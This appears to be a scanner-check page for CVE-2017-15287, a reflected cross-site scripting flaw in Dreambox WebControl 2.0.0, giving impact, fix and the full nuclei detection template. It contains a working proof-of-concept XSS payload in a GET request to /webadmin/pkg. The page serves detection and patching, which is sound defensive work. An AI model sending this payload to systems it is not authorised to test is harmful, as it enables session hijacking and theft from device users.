Dreambox WebControl 2.0.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

6.1%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Dream Multimedia Dreambox devices via their WebControl component are vulnerable to reflected cross-site scripting, as demonstrated by the "Name des Bouquets" field, or the file parameter to the /file URI.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of Dreambox WebControl or apply appropriate input sanitization to prevent XSS attacks.

How to confirm it

Send: GET /webadmin/pkg?command=<script>alert(document.cookie)</script>
Positive when: contains "Unknown command: <script>alert(document.cookie)</script>"

Run it with nuclei: nuclei -id CVE-2017-15287 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-15287

info:
  name: Dreambox WebControl 2.0.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Dream Multimedia Dreambox devices via their WebControl component are vulnerable to reflected cross-site scripting, as demonstrated by the "Name des Bouquets" field, or the file parameter to the /file URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Dreambox WebControl or apply appropriate input sanitization to prevent XSS attacks.
  reference:
    - https://fireshellsecurity.team/assets/pdf/Vulnerability-XSS-Dreambox.pdf
    - https://www.exploit-db.com/exploits/42986/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15287
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-15287
    cwe-id: CWE-79
    epss-score: 0.06147
    epss-percentile: 0.9352
    cpe: cpe:2.3:a:bouqueteditor_project:bouqueteditor:2.0.0:*:*:*:*:dreambox:*:*
  metadata:
    max-request: 1
    vendor: bouqueteditor_project
    product: bouqueteditor
    framework: dreambox
  tags: cve,cve2017,dreambox,edb,xss,bouqueteditor_project,vuln

http:
  - raw:
      - |
        GET /webadmin/pkg?command=<script>alert(document.cookie)</script> HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: word
        words:
          - 'Unknown command: <script>alert(document.cookie)</script>'

References

Use this check only on systems you are authorised to test. Where the data comes from